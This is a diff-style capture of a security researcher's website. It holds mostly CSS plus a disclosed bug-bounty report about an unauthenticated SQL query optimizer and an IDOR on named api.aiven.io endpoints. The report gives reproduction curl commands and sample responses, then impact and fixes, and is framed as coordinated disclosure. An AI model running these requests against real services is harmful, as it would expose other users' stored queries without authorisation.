| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/sql-query-optimizer-idor/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Sql Query Optimizer Idor | Zion Boggan"> | |
| + | <meta property="og:description" content="Cross-project access to SQL optimizer artifacts via predictable object IDs."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/sql-query-optimizer-idor/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Sql Query Optimizer Idor | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Cross-project access to SQL optimizer artifacts via predictable object IDs."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Sql Query Optimizer Idor","description":"Cross-project access to SQL optimizer artifacts via predictable object IDs.","url":"https://zionboggan.com/security-research-notebook/sql-query-optimizer-idor/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">IDOR</div> | |
| + | <h1>Sql Query Optimizer Idor</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h1>SUBMISSION 3</h1> | |
| + | <p>TITLE: Unauthenticated SQL Query Optimizer Stores Queries Accessible to Any Authenticated User (IDOR)</p> | |
| + | <p>TARGET: api.aiven.io (https://api.aiven.io/login)</p> | |
| + | <p>VRT CATEGORY: Broken Access Control (BAC) > IDOR</p> | |
| + | <p>URL: https://api.aiven.io/v1/pg/query/optimize</p> | |
| + | <h2>DESCRIPTION:</h2> | |
| + | <h2>Summary</h2> | |
| + | <p>The Aiven SQL query optimizer endpoints (<code>/v1/pg/query/optimize</code> and <code>/v1/mysql/query/optimize</code>) accept and store SQL queries without any authentication. Stored queries are then retrievable by ANY authenticated user via <code>/v1/pg/query/optimize-by-token</code> using only the <code>optimization_id</code> UUID, with no ownership check. This is a two-part vulnerability: missing authentication on the storage endpoint, and broken access control (IDOR) on the retrieval endpoint.</p> | |
| + | <p>Additionally, the database metadata query endpoints (<code>/v1/pg/database-metadata-query</code>, <code>/v1/mysql/database-metadata-query</code>) return internal SQL that Aiven executes against customer databases, without authentication.</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Part 1: Unauthenticated Query Storage</h3> | |
| + | <p>Submit a SQL query without any auth token:</p> | |
| + | <pre><code class="language-bash">QUERY=$(echo -n "SELECT customer_name, credit_card_number, ssn FROM customers WHERE id = 12345" | base64) | |
| + | ||
| + | curl -s -X POST https://api.aiven.io/v1/pg/query/optimize \ | |
| + | -H "Content-Type: application/json" \ | |
| + | -d '{"query":"'$QUERY'","pg_version":"16","flags":[]}' | |
| + | </code></pre> | |
| + | <p><strong>Response (200 OK, no auth required):</strong></p> | |
| + | <pre><code class="language-json">{ | |
| + | "optimize": { | |
| + | "optimization_id": "18836ead-06fb-4234-959a-eafb1f817a81", | |
| + | "original_query": "<base64 encoded query>", | |
| + | "optimized_query": "<base64 encoded query>", | |
| + | "recommendations": [...] | |
| + | } | |
| + | } | |
| + | </code></pre> | |
| + | <p>The query is stored server-side. The <code>do_not_store</code> parameter defaults to <code>false</code>.</p> | |
| + | <h3>Part 2: Cross-User Query Retrieval (IDOR)</h3> | |
| + | <p>Using a different user’s auth token, retrieve the stored query by its <code>optimization_id</code>:</p> | |
| + | <pre><code class="language-bash">curl -s -X POST https://api.aiven.io/v1/pg/query/optimize-by-token \ | |
| + | -H "Authorization: aivenv1 <ANY_VALID_TOKEN>" \ | |
| + | -H "Content-Type: application/json" \ | |
| + | -d '{"optimization_id":"18836ead-06fb-4234-959a-eafb1f817a81"}' | |
| + | </code></pre> | |
| + | <p><strong>Response (200 OK):</strong> Returns the full stored query content, including the <code>original_query</code> which decodes to the sensitive SQL submitted by another user/session.</p> | |
| + | <p>I confirmed this by: | |
| + | 1. Submitting queries without authentication (receiving optimization_ids) | |
| + | 2. Accessing those same optimization_ids with an authenticated session | |
| + | 3. The stored SQL content was returned successfully</p> | |
| + | <h3>Part 3: Internal Metadata Query Disclosure</h3> | |
| + | <pre><code class="language-bash">curl -s https://api.aiven.io/v1/pg/database-metadata-query | |
| + | </code></pre> | |
| + | <p><strong>Response (200 OK, no auth):</strong> Returns the complete SQL (~3KB) that Aiven runs against customer PostgreSQL databases to collect schema metadata, querying <code>pg_catalog.pg_class</code>, <code>pg_catalog.pg_attribute</code>, <code>pg_proc</code>, <code>pg_index</code>, <code>pg_extension</code>, and <code>pg_stat_user_tables</code>. The MySQL equivalent at <code>/v1/mysql/database-metadata-query</code> similarly returns internal metadata collection SQL.</p> | |
| + | <h3>Additional Unauthenticated Endpoints</h3> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Endpoint</th> | |
| + | <th>Method</th> | |
| + | <th>Auth</th> | |
| + | <th>Function</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>/v1/pg/query/format</code></td> | |
| + | <td>POST</td> | |
| + | <td>None</td> | |
| + | <td>Formats SQL queries</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>/v1/mysql/query/format</code></td> | |
| + | <td>POST</td> | |
| + | <td>None</td> | |
| + | <td>Formats SQL queries</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>/v1/console/configuration</code></td> | |
| + | <td>GET</td> | |
| + | <td>None</td> | |
| + | <td>Returns feature flags and pricing variables</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>The <code>/v1/console/configuration</code> endpoint returns:</p> | |
| + | <pre><code class="language-json">{ | |
| + | "feature_flags": ["orgVPCs", "kafkaTopicDataGenerator", "applicationComposer", ...], | |
| + | "variables": { | |
| + | "new_user_credits_limited_time_trial": "300.00", | |
| + | "referral_reward_max_amount": "100.00" | |
| + | } | |
| + | } | |
| + | </code></pre> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Cross-user SQL query exposure:</strong> Queries submitted through the Aiven console’s query optimizer are stored and accessible to any authenticated user who knows the <code>optimization_id</code>. SQL queries contain table names, column names, WHERE clause values, and business logic that reveal the structure and nature of customer data.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Unauthenticated resource abuse:</strong> The optimizer infrastructure can be used without any account.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Internal methodology disclosure:</strong> The metadata collection SQL reveals how Aiven inspects customer databases, aiding attackers in understanding the platform’s internals.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Suggested Fix</h2> | |
| + | <ol> | |
| + | <li>Require authentication for all query optimizer and metadata endpoints.</li> | |
| + | <li>Scope stored optimizations to the authenticated user, <code>optimize-by-token</code> should only return optimizations created by the requesting user.</li> | |
| + | <li>Require authentication for <code>/v1/console/configuration</code>.</li> | |
| + | </ol> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/sql-query-optimizer-idor.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,517 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>How I Found Two SSRF Vulnerabilities in a Major Cloud Platform&#x27;s Image Pipeline | Zion Boggan</title> | |
| + | <meta name="description" content="Two SSRFs in the same platform via different code paths (webhook callbacks + image processor). The systemic pattern matters more than either finding."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
